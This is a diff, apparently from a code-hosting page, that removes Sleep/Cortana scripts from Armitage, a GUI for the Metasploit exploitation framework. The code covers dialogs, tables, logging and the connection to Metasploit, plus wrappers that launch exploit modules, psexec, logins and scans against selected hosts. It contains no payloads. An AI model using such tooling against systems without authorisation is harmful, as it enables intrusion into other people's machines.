|
||||||
}
|
|
||||||
|
|
||||||
sub _compare_hosts {
|
|
||||||
if ($1 eq "unknown") {
|
|
||||||
return _compare_hosts("0.0.0.0", $2);
|
|
||||||
}
|
|
||||||
else if ($2 eq "unknown") {
|
|
||||||
return _compare_hosts($1, "0.0.0.0");
|
|
||||||
}
|
|
||||||
else {
|
|
||||||
return [Route ipToLong: $1] <=> [Route ipToLong: $2];
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
sub clipboard_set {
|
|
||||||
local('$sel $cb');
|
|
||||||
$sel = [new StringSelection: $1];
|
|
||||||
$cb = [[Toolkit getDefaultToolkit] getSystemSelection];
|
|
||||||
if ($cb !is $null) {
|
|
||||||
[$cb setContents: $sel, $null];
|
|
||||||
}
|
|
||||||
|
|
||||||
$cb = [[Toolkit getDefaultToolkit] getSystemClipboard];
|
|
||||||
if ($cb !is $null) {
|
|
||||||
[$cb setContents: $sel, $null];
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
sub prompt_file_save {
|
|
||||||
local('$fc $1');
|
|
||||||
$fc = [new JFileChooser];
|
|
||||||
|
|
||||||
if ($1 !is $null) {
|
|
||||||
[$fc setSelectedFile: [new java.io.File: $1]];
|
|
||||||
}
|
|
||||||
|
|
||||||
[$fc showSaveDialog: $armitage];
|
|
||||||
return [$fc getSelectedFile];
|
|
||||||
}
|
|
||||||
|
|
||||||
sub prompt_file_open {
|
|
||||||
local('$fc $1 $2 $3 $4');
|
|
||||||
$fc = [new JFileChooser];
|
|
||||||
|
|
||||||
if ($1 !is $null) { [$fc setDialogTitle: $1]; }
|
|
||||||
if ($2 !is $null) { [$fc setCurrentDirectory: [new java.io.File: $2]]; }
|
|
||||||
if ($3 !is $null) { [$fc setMultiSelectionEnabled: $3]; }
|
|
||||||
if ($4 !is $null) { [$fc setFileSelectionMode: [JFileChooser DIRECTORIES_ONLY]]; }
|
|
||||||
|
|
||||||
[$fc showOpenDialog: $armitage];
|
|
||||||
|
|
||||||
if ($3) {
|
|
||||||
return [$fc getSelectedFiles];
|
|
||||||
}
|
|
||||||
else {
|
|
||||||
return [$fc getSelectedFile];
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
sub url_open {
|
|
||||||
[[Desktop getDesktop] browse: [[new java.net.URL: $1] toURI]];
|
|
||||||
}
|
|
||||||
|
|
||||||
sub show_message {
|
|
||||||
later({
|
|
||||||
[JOptionPane showMessageDialog: $armitage, $1];
|
|
||||||
}, $1);
|
|
||||||
}
|
|
||||||
|
|
||||||
sub prompt_text {
|
|
||||||
local('$2');
|
|
||||||
return [JOptionPane showInputDialog: "$1", "$2"];
|
|
||||||
}
|
|
||||||
|
|
||||||
sub prompt_confirm {
|
|
||||||
return [JOptionPane showConfirmDialog: $null, $1, $2, [JOptionPane YES_NO_OPTION]];
|
|
||||||
}
|
|
||||||
|
|
||||||
sub targets_selected {
|
|
||||||
return [[$shared get: "targets"] getSelectedHosts];
|
|
||||||
}
|
|
||||||
|
|
||||||
# launch_attack("exploit", @hosts)
|
|
||||||
sub launch_attack {
|
|
||||||
local('$a $b');
|
|
||||||
$a = call("module.info", "exploit", $1);
|
|
||||||
$b = call("module.options", "exploit", $1);
|
|
||||||
_call_async_("&attack_dialog", $a, $b, $2, $1);
|
|
||||||
}
|
|
||||||
|
|
||||||
# laubch_module("title", "top-level", "path", visible?, @(), %options)
|
|
||||||
sub launch_module {
|
|
||||||
_call_async_("&launch_dialog", $1, $2, $3, 1, $null, $4);
|
|
||||||
}
|
|
||||||
|
|
||||||
# launch_login("service", "port", @hosts)
|
|
||||||
sub launch_login {
|
|
||||||
_call_async_("&show_login_dialog", $service => %(port => $2, name => $1), $hosts => $3);
|
|
||||||
}
|
|
||||||
|
|
||||||
sub launch_psexec {
|
|
||||||
_call_async_("&show_psexec_dialog", $hosts => $1);
|
|
||||||
}
|
|
||||||
|
|
||||||
sub run_export_data {
|
|
||||||
local('$1');
|
|
||||||
if ($1 is $null) {
|
|
||||||
_call_async_("&generateArtifacts", %());
|
|
||||||
}
|
|
||||||
else {
|
|
||||||
_call_async_("&generateArtifacts", $1);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
sub open_script_console {
|
|
||||||
_call_async_("&showScriptConsole");
|
|
||||||
}
|
|
||||||
|
|
||||||
sub pref_get {
|
|
||||||
local('$2');
|
|
||||||
return [$preferences getProperty: $1, $2];
|
|
||||||
}
|
|
||||||
|
|
||||||
sub pref_set {
|
|
||||||
[$preferences setProperty: $1, $2];
|
|
||||||
_call_("&savePreferences");
|
|
||||||
}
|
|
||||||
|
|
||||||
sub show_modules {
|
|
||||||
local('$1 $2 $3 $4');
|
|
||||||
_call_async_("&showModules", $1, $2, $3, $4);
|
|
||||||
}
|
|
||||||
|
|
||||||
sub open_file_browser {
|
|
||||||
_call_async_("&createFileBrowser", $1, session_data($1)['platform']);
|
|
||||||
}
|
|
||||||
|
|
||||||
sub switch_display {
|
|
||||||
pref_set("armitage.string.target_view", $1);
|
|
||||||
_call_async_("&createDashboard");
|
|
||||||
}
|
|
||||||
|
|
||||||
sub run_module {
|
|
||||||
_call_async_("&module_execute", $1, $2, $3);
|
|
||||||
}
|
|
||||||
|
|
||||||
sub run_scans {
|
|
||||||
_call_async_("&launch_msf_scans", $1);
|
|
||||||
}
|
|
||||||
|
|
||||||
# creates a list dialog,
|
|
||||||
# $1 = title, $2 = @(buttons), $3 = columns, $4 = rows
|
|
||||||
sub prompt_list {
|
|
||||||
local('$dialog $panel $table $row $model $button $sorter $width $height $buttons $t');
|
|
||||||
|
|
||||||
# setup width and height
|
|
||||||
if (size(@_) >= 5) {
|
|
||||||
($width, $height) = sublist(@_, 5);
|
|
||||||
}
|
|
||||||
|
|
||||||
if ($width is $null) { $width = 320; }
|
|
||||||
if ($height is $null) { $height = 200; }
|
|
||||||
|
|
||||||
$dialog = _dialog($1, $width, $height);
|
|
||||||
$panel = [new JPanel];
|
|
||||||
[$panel setLayout: [new BorderLayout]];
|
|
||||||
|
|
||||||
($table, $model) = _setupTable($3[0], $3, $4);
|
|
||||||
[$panel add: [new JScrollPane: $table], [BorderLayout CENTER]];
|
|
||||||
|
|
||||||
#
|
|
||||||
# setup our buttons for success...
|
|
||||||
#
|
|
||||||
$buttons = copy($2);
|
|
||||||
foreach $button ($buttons) {
|
|
||||||
$t = "$button";
|
|
||||||
$button = [new JButton: $t];
|
|
||||||
[$button addActionListener: lambda({
|
|
||||||
local('$sel $row');
|
|
||||||
$sel = [$model getSelectedValueFromColumn: $table, $lead];
|
|
||||||
if ($sel !is $null) {
|
|
||||||
$row = [$model getSelectedValuesFromColumns: $table, $cols][0];
|
|
||||||
fire_event_local("item_selected", $title, $sel, $row);
|
|
||||||
}
|
|
||||||
[$dialog setVisible: 0];
|
|
||||||
}, \$dialog, $title => $t, \$model, \$table, $lead => $3[0], $cols => $3)];
|
|
||||||
}
|
|
||||||
|
|
||||||
local('$south');
|
|
||||||
$south = [new JPanel];
|
|
||||||
[$south setLayout: [new BoxLayout: $south, [BoxLayout Y_AXIS]]];
|
|
||||||
[$south add: _center($buttons)];
|
|
||||||
|
|
||||||
[$panel add: $south, [BorderLayout SOUTH]];
|
|
||||||
[$dialog add: $panel, [BorderLayout CENTER]];
|
|
||||||
[$dialog show];
|
|
||||||
[$dialog setVisible: 1];
|
|
||||||
}
|
|
||||||
|
|
||||||
sub _dialog {
|
|
||||||
local('$dialog $4');
|
|
||||||
$dialog = [new JDialog: $frame, $1];
|
|
||||||
[$dialog setSize: $2, $3];
|
|
||||||
[$dialog setLayout: [new BorderLayout]];
|
|
||||||
[$dialog setLocationRelativeTo: $frame];
|
|
||||||
return $dialog;
|
|
||||||
}
|
|
||||||
|
|
||||||
sub _setupTable {
|
|
||||||
local('$table $model $sorter $row');
|
|
||||||
$model = [new GenericTableModel: $2, $1, 8];
|
|
||||||
foreach $row ($3) {
|
|
||||||
[$model _addEntry: $row];
|
|
||||||
}
|
|
||||||
|
|
||||||
$table = [new ATable: $model];
|
|
||||||
[[$table getSelectionModel] setSelectionMode: [ListSelectionModel SINGLE_SELECTION]];
|
|
||||||
$sorter = [new TableRowSorter: $model];
|
|
||||||
[$table setRowSorter: $sorter];
|
|
||||||
|
|
||||||
return @($table, $model);
|
|
||||||
}
|
|
||||||
|
|
||||||
sub log_file {
|
|
||||||
if ([$preferences getProperty: "armitage.log_everything.boolean", "true"] eq "true") {
|
|
||||||
local('$today $handle $data $out');
|
|
||||||
$today = formatDate("yyMMdd");
|
|
||||||
if (-exists $1 && -canread $1) {
|
|
||||||
mkdir(getFileProper(_data_directory(), $today, $2, $3));
|
|
||||||
|
|
||||||
# read in the file
|
|
||||||
$handle = openf($1);
|
|
||||||
$data = readb($handle, -1);
|
|
||||||
closef($handle);
|
|
||||||
|
|
||||||
# write it out.
|
|
||||||
$out = getFileProper(_data_directory(), $today, $2, $3, getFileName($1));
|
|
||||||
$handle = openf("> $+ $out");
|
|
||||||
writeb($handle, $data);
|
|
||||||
closef($handle);
|
|
||||||
}
|
|
||||||
else {
|
|
||||||
warn("Could not find file: $1");
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
|
@ -1,264 +0,0 @@
|
||||||
#
|
|
||||||
# Armitage Extensions for Cortana
|
|
||||||
#
|
|
||||||
|
|
||||||
import java.awt.*;
|
|
||||||
import java.awt.event.*;
|
|
||||||
|
|
||||||
import javax.swing.*;
|
|
||||||
|
|
||||||
import console.*;
|
|
||||||
import armitage.*;
|
|
||||||
import ui.*;
|
|
||||||
import java.io.*;
|
|
||||||
import javax.imageio.*;
|
|
||||||
|
|
||||||
# opens a generic tab with the component provided by the user.
|
|
||||||
sub open_tab {
|
|
||||||
[$armitage addTab: "$1", $2, lambda({
|
|
||||||
fire_event_local("tab_close", $panel, $arg, $title);
|
|
||||||
}, $title => $1, $panel => $2, $arg => $3)];
|
|
||||||
return $2;
|
|
||||||
}
|
|
||||||
|
|
||||||
sub _log_check {
|
|
||||||
if ([$preferences getProperty: "armitage.log_everything.boolean", "true"] eq "true") {
|
|
||||||
local('$today $logger');
|
|
||||||
$today = formatDate("yyMMdd");
|
|
||||||
if ($2 ne "") {
|
|
||||||
mkdir(getFileProper(_data_directory(), $today, $2));
|
|
||||||
$logger = [$shared getLogger: getFileProper(_data_directory(), $today, $2, "$3 $+ .log") ];
|
|
||||||
[$1 writeToLog: $logger];
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
# "title", "log-sub-folder", popup hook, activity-console?
|
|
||||||
sub open_console_tab {
|
|
||||||
local('$2 $3 $4');
|
|
||||||
return spawn({
|
|
||||||
global('$tab $console');
|
|
||||||
$console = console();
|
|
||||||
$tab = open_text_tab($title, $console, $log_folder, $popup_hook, $null, $q_activity, $metasploit => 1);
|
|
||||||
[$console setDisplay: $tab];
|
|
||||||
[new QueueTabCompletion: $tab, $console];
|
|
||||||
|
|
||||||
on tab_close {
|
|
||||||
[$console stop];
|
|
||||||
quit();
|
|
||||||
}
|
|
||||||
|
|
||||||
_call_later_("&setupConsoleStyle", $tab);
|
|
||||||
return $console;
|
|
||||||
}, $title => $1, $log_folder => $2, $popup_hook => $3, $q_activity => $4);
|
|
||||||
}
|
|
||||||
|
|
||||||
# open_display_tab("title", $arg, @(buttons))
|
|
||||||
sub open_display_tab {
|
|
||||||
local('$panel $display $3 $button');
|
|
||||||
$panel = [new JPanel];
|
|
||||||
[$panel setLayout: [new BorderLayout]];
|
|
||||||
$display = [new console.Display: $preferences];
|
|
||||||
|
|
||||||
if ($3 && size($3) > 0) {
|
|
||||||
foreach $button ($3) {
|
|
||||||
$button = [new JButton: "$button"];
|
|
||||||
[$button addActionListener: lambda({
|
|
||||||
fire_event_local("tab_display_click", $display, $arg, [[$1 getSource] getText]);
|
|
||||||
}, \$display, $arg => $2)];
|
|
||||||
}
|
|
||||||
[$panel add: _center($3), [BorderLayout SOUTH]];
|
|
||||||
}
|
|
||||||
|
|
||||||
[$panel add: $display, [BorderLayout CENTER]];
|
|
||||||
[[$display console] scrollRectToVisible: [new Rectangle: 0, 0, 0, 0]];
|
|
||||||
open_tab($1, $panel, $2);
|
|
||||||
return $display;
|
|
||||||
}
|
|
||||||
|
|
||||||
# "title", $argument, "log-sub-folder", popup hook, &tabcompletion, activity-console?
|
|
||||||
sub open_text_tab {
|
|
||||||
local('$console $panel $2 $3 $4 $5 $6 $metasploit');
|
|
||||||
|
|
||||||
# setup the console (if the user wants an activity console, give them one of those)
|
|
||||||
if ($6) {
|
|
||||||
$console = [new ActivityConsole: $preferences];
|
|
||||||
}
|
|
||||||
else {
|
|
||||||
$console = [new Console: $preferences];
|
|
||||||
}
|
|
||||||
|
|
||||||
if (!$metasploit) {
|
|
||||||
[[$console getInput] addActionListener: lambda({
|
|
||||||
[[$1 getSource] setText: ""];
|
|
||||||
fire_event_local("tab_text_input", $console, $arg, [$1 getActionCommand]);
|
|
||||||
}, \$console, $arg => $2)];
|
|
||||||
|
|
||||||
# add a word click listener too... why not.
|
|
||||||
[$console addWordClickListener: lambda({
|
|
||||||
fire_event_local("tab_text_click", $console, $arg, [$1 getActionCommand]);
|
|
||||||
}, \$console, $arg => $2)];
|
|
||||||
}
|
|
||||||
|
|
||||||
# setup logging (if the scripter wants it)
|
|
||||||
if ($3) {
|
|
||||||
_log_check($console, $3, strrep($1, " ", "_"));
|
|
||||||
}
|
|
||||||
|
|
||||||
# setup popup menus (if the scripter wants them)
|
|
||||||
if ($4) {
|
|
||||||
# define some popup menus too
|
|
||||||
[$console setPopupMenu: lambda({
|
|
||||||
# $1 = word, $2 = event
|
|
||||||
show_popup($2, $hook, $console, $1, $arg);
|
|
||||||
}, \$console, $arg => $2, $hook => $4)];
|
|
||||||
}
|
|
||||||
|
|
||||||
# setup tab completion too -- may need to be a callback... not sure yet.
|
|
||||||
if ($5) {
|
|
||||||
[new cortana.gui.CortanaTabCompletion: $console, lambda({
|
|
||||||
return [$f: $console, $arg, $1];
|
|
||||||
}, \$console, $arg => $2, $f => $5)];
|
|
||||||
}
|
|
||||||
|
|
||||||
# add the console to our display
|
|
||||||
return open_tab($1, $console, $2);
|
|
||||||
}
|
|
||||||
|
|
||||||
sub append {
|
|
||||||
[$1 append: "$2"];
|
|
||||||
}
|
|
||||||
|
|
||||||
sub prompt {
|
|
||||||
[$1 setPrompt: $2];
|
|
||||||
}
|
|
||||||
|
|
||||||
sub input {
|
|
||||||
[[$1 getInput] setText: $2];
|
|
||||||
}
|
|
||||||
|
|
||||||
sub clear_text {
|
|
||||||
[$1 clear];
|
|
||||||
}
|
|
||||||
|
|
||||||
# "title", $argument, @cols, @rows, @buttons, "*hook*", multi?
|
|
||||||
sub open_table_tab {
|
|
||||||
local('$panel $5 $6 $7');
|
|
||||||
$panel = [new JPanel];
|
|
||||||
[$panel setLayout: [new BorderLayout]];
|
|
||||||
|
|
||||||
# add our table...
|
|
||||||
($table, $model) = _setup_table($3[0], $3, $4, $7);
|
|
||||||
[$panel add: [new JScrollPane: $table]];
|
|
||||||
|
|
||||||
# setup our buttons...
|
|
||||||
if ($5 && size($5) > 0) {
|
|
||||||
foreach $button ($5) {
|
|
||||||
$button = [new JButton: "$button"];
|
|
||||||
[$button addActionListener: lambda({
|
|
||||||
fire_event_local("tab_table_click", $table, $arg, [[$1 getSource] getText]);
|
|
||||||
}, \$table, $arg => $2)];
|
|
||||||
}
|
|
||||||
[$panel add: _center($5), [BorderLayout SOUTH]];
|
|
||||||
}
|
|
||||||
|
|
||||||
# setup our popup menu...
|
|
||||||
if ($6) {
|
|
||||||
[$table addMouseListener: [new SafeMouseListener: lambda({
|
|
||||||
if ([$1 isPopupTrigger]) {
|
|
||||||
local('$sel');
|
|
||||||
$sel = [[$table getModel] getSelectedValues: $table];
|
|
||||||
show_popup($1, $hook, $table, $sel, $arg);
|
|
||||||
}
|
|
||||||
}, $hook => $6, \$table, $arg => $2)]];
|
|
||||||
}
|
|
||||||
|
|
||||||
open_tab($1, $panel, $2);
|
|
||||||
return $table;
|
|
||||||
}
|
|
||||||
|
|
||||||
# @@ table_selected($table, "col1", "col2");
|
|
||||||
sub table_selected {
|
|
||||||
return [[$1 getModel] getSelectedValuesFromColumns: $1, sublist(@_, 1)];
|
|
||||||
}
|
|
||||||
|
|
||||||
sub table_selected_single {
|
|
||||||
return flatten(table_selected($1, $2));
|
|
||||||
}
|
|
||||||
|
|
||||||
# table_set($table, @rows)
|
|
||||||
sub table_set {
|
|
||||||
later(lambda({
|
|
||||||
local('$model $row');
|
|
||||||
$model = [$a getModel];
|
|
||||||
[$model clear: size($b) * 2];
|
|
||||||
foreach $row ($b) {
|
|
||||||
[$model addEntry: $row];
|
|
||||||
}
|
|
||||||
[$model fireListeners];
|
|
||||||
}, $a => $1, $b => $2));
|
|
||||||
}
|
|
||||||
|
|
||||||
# table_set($table, @rows)
|
|
||||||
sub table_update {
|
|
||||||
later(lambda({
|
|
||||||
[$a markSelections];
|
|
||||||
table_set($a, $b);
|
|
||||||
[$a restoreSelections];
|
|
||||||
}, $a => $1, $b => $2));
|
|
||||||
}
|
|
||||||
|
|
||||||
# table_sorter($table, index, &function);
|
|
||||||
sub table_sorter {
|
|
||||||
[[$1 getRowSorter] setComparator: $2, $3];
|
|
||||||
}
|
|
||||||
|
|
||||||
# table_sorter_host($table, index)
|
|
||||||
sub table_sorter_host {
|
|
||||||
table_sorter($1, $2, &_compare_hosts);
|
|
||||||
}
|
|
||||||
|
|
||||||
# table_sort_date($table, index)
|
|
||||||
sub table_sorter_date {
|
|
||||||
table_sorter($1, $2, { return parse_msf_date($1) <=> parse_msf_date($2); });
|
|
||||||
}
|
|
||||||
|
|
||||||
# $image = open_image_tab("title", $arg, @(buttons...))
|
|
||||||
sub open_image_tab {
|
|
||||||
local('$panel @buttons $b');
|
|
||||||
$panel = [new JPanel];
|
|
||||||
[$panel setLayout: [new BorderLayout]];
|
|
||||||
|
|
||||||
$image = [new ZoomableImage];
|
|
||||||
[$panel add: [new JScrollPane: $image], [BorderLayout CENTER]];
|
|
||||||
|
|
||||||
if ($3 !is $null && size($3) > 0) {
|
|
||||||
foreach $button ($3) {
|
|
||||||
$b = [new JButton: $button];
|
|
||||||
[$b addActionListener: lambda({
|
|
||||||
fire_event_local("tab_image_click", $image, $arg, $button);
|
|
||||||
}, \$image, $button => "$button", $arg => $2)];
|
|
||||||
push(@buttons, $b);
|
|
||||||
}
|
|
||||||
[$panel add: _center(@buttons), [BorderLayout SOUTH]];
|
|
||||||
}
|
|
||||||
|
|
||||||
open_tab($1, $panel, $2);
|
|
||||||
return $image;
|
|
||||||
}
|
|
||||||
|
|
||||||
# set_image($image, "/path/to/image.jpg", "host|all", "type");
|
|
||||||
sub set_image {
|
|
||||||
local('$image');
|
|
||||||
if (size(@_) == 4) {
|
|
||||||
log_file($2, $3, $4);
|
|
||||||
}
|
|
||||||
|
|
||||||
warn("Opening: $2");
|
|
||||||
$image = [ImageIO read: [new File: $2]];
|
|
||||||
if ($image !is $null) {
|
|
||||||
dispatch_event({
|
|
||||||
[$container setIcon: [new ImageIcon: $image]];
|
|
||||||
}, $container => $1, \$image);
|
|
||||||
}
|
|
||||||
}
|
|
|
@ -1,400 +0,0 @@
|
||||||
debug(7 | 34);
|
|
||||||
|
|
||||||
import javax.swing.*;
|
|
||||||
import javax.swing.event.*;
|
|
||||||
import javax.swing.border.*;
|
|
||||||
import javax.imageio.*;
|
|
||||||
|
|
||||||
import java.awt.*;
|
|
||||||
import java.awt.event.*;
|
|
||||||
|
|
||||||
import msf.*;
|
|
||||||
import console.*;
|
|
||||||
import armitage.*;
|
|
||||||
import graph.*;
|
|
||||||
|
|
||||||
import java.awt.image.*;
|
|
||||||
|
|
||||||
global('$frame $tabs $menubar $msfrpc_handle $REMOTE $cortana $MY_ADDRESS $DESCRIBE @CLOSEME @POOL');
|
|
||||||
|
|
||||||
sub describeHost {
|
|
||||||
local('$desc');
|
|
||||||
$desc = _describeHost($1);
|
|
||||||
return filter_data("host_describe", $desc, $1)[0];
|
|
||||||
}
|
|
||||||
|
|
||||||
sub _describeHost {
|
|
||||||
local('$sessions $os @overlay $ver $info');
|
|
||||||
($sessions, $os, $ver) = values($1, @('sessions', 'os_name', 'os_flavor'));
|
|
||||||
|
|
||||||
if (size($sessions) == 0) {
|
|
||||||
return $1['address'];
|
|
||||||
}
|
|
||||||
|
|
||||||
$info = values($sessions)[0]["info"];
|
|
||||||
if ("Microsoft Corp." isin $info) {
|
|
||||||
return $1['address'] . "\nshell session";
|
|
||||||
}
|
|
||||||
else {
|
|
||||||
return $1['address'] . "\n $+ $info";
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
sub showHost {
|
|
||||||
local('$sessions $os @overlay $match $purpose');
|
|
||||||
($sessions, $os, $match, $purpose) = values($1, @('sessions', 'os_name', 'os_flavor', 'purpose'));
|
|
||||||
$os = normalize($os);
|
|
||||||
|
|
||||||
if ($match eq "") {
|
|
||||||
$match = $1['os_match'];
|
|
||||||
}
|
|
||||||
|
|
||||||
if ($os eq "Printer" || "*Printer*" iswm $match || "*embedded*" iswm lc($os)) {
|
|
||||||
return overlay_images(@('resources/printer.png'));
|
|
||||||
}
|
|
||||||
else if ($os eq "Windows") {
|
|
||||||
if ("*2000*" iswm $match || "*95*" iswm $match || "*98*" iswm $match || "*ME*" iswm $match || "*Me*" iswm $match) {
|
|
||||||
push(@overlay, 'resources/windows2000.png');
|
|
||||||
}
|
|
||||||
else if ("*XP*" iswm $match || "*2003*" iswm $match || "*.NET*" iswm $match) {
|
|
||||||
push(@overlay, 'resources/windowsxp.png');
|
|
||||||
}
|
|
||||||
else if ("*8*" iswm $match && "*2008*" !iswm $match) {
|
|
||||||
push(@overlay, 'resources/windows8.png');
|
|
||||||
}
|
|
||||||
else {
|
|
||||||
push(@overlay, 'resources/windows7.png');
|
|
||||||
}
|
|
||||||
}
|
|
||||||
else if ($os eq "Apple iOS" || "*AppleTV*" iswm $os) {
|
|
||||||
push(@overlay, 'resources/ios.png');
|
|
||||||
}
|
|
||||||
else if ($os eq "Mac OS X" || "*apple*" iswm lc($os) || "*mac*os*x*" iswm lc($os)) {
|
|
||||||
push(@overlay, 'resources/macosx.png');
|
|
||||||
}
|
|
||||||
else if ("*linux*" iswm lc($os)) {
|
|
||||||
push(@overlay, 'resources/linux.png');
|
|
||||||
}
|
|
||||||
else if ($os eq "IOS" || "*cisco*" iswm lc($os)) {
|
|
||||||
push(@overlay, 'resources/cisco.png');
|
|
||||||
}
|
|
||||||
else if ("*BSD*" iswm $os) {
|
|
||||||
push(@overlay, 'resources/bsd.png');
|
|
||||||
}
|
|
||||||
else if ($os eq "Solaris") {
|
|
||||||
push(@overlay, 'resources/solaris.png');
|
|
||||||
}
|
|
||||||
else if ("*VMware*" iswm $os) {
|
|
||||||
push(@overlay, 'resources/vmware.png');
|
|
||||||
}
|
|
||||||
else if ($os eq "Android") {
|
|
||||||
push(@overlay, 'resources/android.png');
|
|
||||||
}
|
|
||||||
else if ($purpose eq "firewall") {
|
|
||||||
return overlay_images(@('resources/firewall.png'));
|
|
||||||
}
|
|
||||||
else {
|
|
||||||
push(@overlay, 'resources/unknown.png');
|
|
||||||
}
|
|
||||||
|
|
||||||
if (size($sessions) > 0) {
|
|
||||||
push(@overlay, 'resources/hacked.png');
|
|
||||||
}
|
|
||||||
else {
|
|
||||||
push(@overlay, 'resources/computer.png');
|
|
||||||
}
|
|
||||||
|
|
||||||
return overlay_images(filter_data("host_image", @overlay, $1)[0]);
|
|
||||||
}
|
|
||||||
|
|
||||||
sub connectToMetasploit {
|
|
||||||
local('$thread $5');
|
|
||||||
$thread = [new Thread: lambda(&_connectToMetasploit, \$1, \$2, \$3, \$4, \$5)];
|
|
||||||
[$thread start];
|
|
||||||
}
|
|
||||||
|
|
||||||
sub _connectToMetasploit {
|
|
||||||
global('$database $aclient $client $mclient $console @exploits @auxiliary @payloads @post');
|
|
||||||
|
|
||||||
# reset rejected fingerprints
|
|
||||||
let(&verify_server, %rejected => %());
|
|
||||||
|
|
||||||
# update preferences
|
|
||||||
|
|
||||||
local('%props $property $value $flag $exception');
|
|
||||||
%props['connect.host.string'] = $1;
|
|
||||||
%props['connect.port.string'] = $2;
|
|
||||||
%props['connect.user.string'] = $3;
|
|
||||||
%props['connect.pass.string'] = $4;
|
|
||||||
|
|
||||||
if ($5 is $null) {
|
|
||||||
foreach $property => $value (%props) {
|
|
||||||
[$preferences setProperty: $property, $value];
|
|
||||||
}
|
|
||||||
}
|
|
||||||
savePreferences();
|
|
||||||
|
|
||||||
# setup progress monitor
|
|
||||||
local('$progress');
|
|
||||||
$progress = [new ProgressMonitor: $null, "Connecting to $1 $+ : $+ $2", "first try... wish me luck.", 0, 100];
|
|
||||||
|
|
||||||
# keep track of whether we're connected to a local or remote Metasploit instance. This will affect what we expose.
|
|
||||||
$REMOTE = iff($1 eq "127.0.0.1" || $1 eq "::1" || $1 eq "localhost", $null, 1);
|
|
||||||
|
|
||||||
$flag = 10;
|
|
||||||
while ($flag) {
|
|
||||||
try {
|
|
||||||
if ([$progress isCanceled]) {
|
|
||||||
if ($msfrpc_handle !is $null) {
|
|
||||||
try {
|
|
||||||
wait(fork({ closef($msfrpc_handle); }, \$msfrpc_handle), 5 * 1024);
|
|
||||||
$msfrpc_handle = $null;
|
|
||||||
}
|
|
||||||
catch $exception {
|
|
||||||
[JOptionPane showMessageDialog: $null, "Unable to shutdown MSFRPC programatically\nRestart Armitage and try again"];
|
|
||||||
[System exit: 0];
|
|
||||||
}
|
|
||||||
}
|
|
||||||
connectDialog();
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
|
|
||||||
# connecting locally? go to Metasploit directly...
|
|
||||||
if ($REMOTE is $null) {
|
|
||||||
$client = [new MsgRpcImpl: $3, $4, $1, long($2), $null, $debug];
|
|
||||||
$aclient = [new RpcAsync: $client];
|
|
||||||
$mclient = $client;
|
|
||||||
push(@POOL, $aclient);
|
|
||||||
initConsolePool();
|
|
||||||
$DESCRIBE = "localhost";
|
|
||||||
}
|
|
||||||
# we have a team server... connect and authenticate to it.
|
|
||||||
else {
|
|
||||||
[$progress setNote: "Connected: logging in"];
|
|
||||||
$client = c_client($1, $2);
|
|
||||||
$mclient = setup_collaboration($3, $4, $1, $2);
|
|
||||||
$aclient = $mclient;
|
|
||||||
|
|
||||||
if ($mclient is $null) {
|
|
||||||
[$progress close];
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
else {
|
|
||||||
[$progress setNote: "Connected: authenticated"];
|
|
||||||
}
|
|
||||||
|
|
||||||
# create six additional connections to team server... for balancing consoles.
|
|
||||||
local('$x $cc');
|
|
||||||
for ($x = 0; $x < 6; $x++) {
|
|
||||||
$cc = c_client($1, $2);
|
|
||||||
call($cc, "armitage.validate", $3, $4, $null, "armitage", 120326);
|
|
||||||
push(@POOL, $cc);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
$flag = $null;
|
|
||||||
}
|
|
||||||
catch $exception {
|
|
||||||
[$progress setNote: [$exception getMessage]];
|
|
||||||
[$progress setProgress: $flag];
|
|
||||||
$flag++;
|
|
||||||
sleep(2500);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
let(&postSetup, \$progress);
|
|
||||||
|
|
||||||
[$progress setNote: "Connected: Getting base directory"];
|
|
||||||
[$progress setProgress: 30];
|
|
||||||
|
|
||||||
setupBaseDirectory();
|
|
||||||
|
|
||||||
if (!$REMOTE) {
|
|
||||||
[$progress setNote: "Connected: Connecting to database"];
|
|
||||||
[$progress setProgress: 40];
|
|
||||||
|
|
||||||
try {
|
|
||||||
# create a console to force the database to initialize
|
|
||||||
local('$c');
|
|
||||||
$c = createConsole($client);
|
|
||||||
call_async($client, "console.release", $c);
|
|
||||||
|
|
||||||
# connect to the database plz...
|
|
||||||
$database = connectToDatabase();
|
|
||||||
[$client setDatabase: $database];
|
|
||||||
|
|
||||||
# setup our reporting stuff (has to happen *after* base directory)
|
|
||||||
initReporting();
|
|
||||||
}
|
|
||||||
catch $exception {
|
|
||||||
[JOptionPane showMessageDialog: $null, "Could not connect to database.\nClick Help button for troubleshooting help.\n\n" . [$exception getMessage]];
|
|
||||||
if ($msfrpc_handle) { closef($msfrpc_handle); }
|
|
||||||
[System exit: 0];
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
# check the module cache...
|
|
||||||
local('$sanity');
|
|
||||||
$sanity = call($mclient, "module.options", "exploit", "windows/smb/ms08_067_netapi");
|
|
||||||
if ($sanity is $null) {
|
|
||||||
warn("Detected corrupt module cache... forcing rebuild");
|
|
||||||
call($mclient, "db.clear_cache");
|
|
||||||
}
|
|
||||||
|
|
||||||
[$progress setNote: "Connected: Getting local address"];
|
|
||||||
[$progress setProgress: 50];
|
|
||||||
|
|
||||||
cmd_safe("setg", lambda({
|
|
||||||
# store the current global vars to save several other calls later
|
|
||||||
global('%MSF_GLOBAL');
|
|
||||||
local('$value');
|
|
||||||
|
|
||||||
foreach $value (parseTextTable($3, @("Name", "Value"))) {
|
|
||||||
%MSF_GLOBAL[$value['Name']] = $value['Value'];
|
|
||||||
}
|
|
||||||
|
|
||||||
# ok, now let's continue on with what we're doing...
|
|
||||||
getBindAddress();
|
|
||||||
[$progress setNote: "Connected: ..."];
|
|
||||||
[$progress setProgress: 60];
|
|
||||||
|
|
||||||
dispatchEvent(&postSetup);
|
|
||||||
}, \$progress));
|
|
||||||
}
|
|
||||||
|
|
||||||
sub postSetup {
|
|
||||||
thread(lambda({
|
|
||||||
[$progress setNote: "Connected: Fetching exploits"];
|
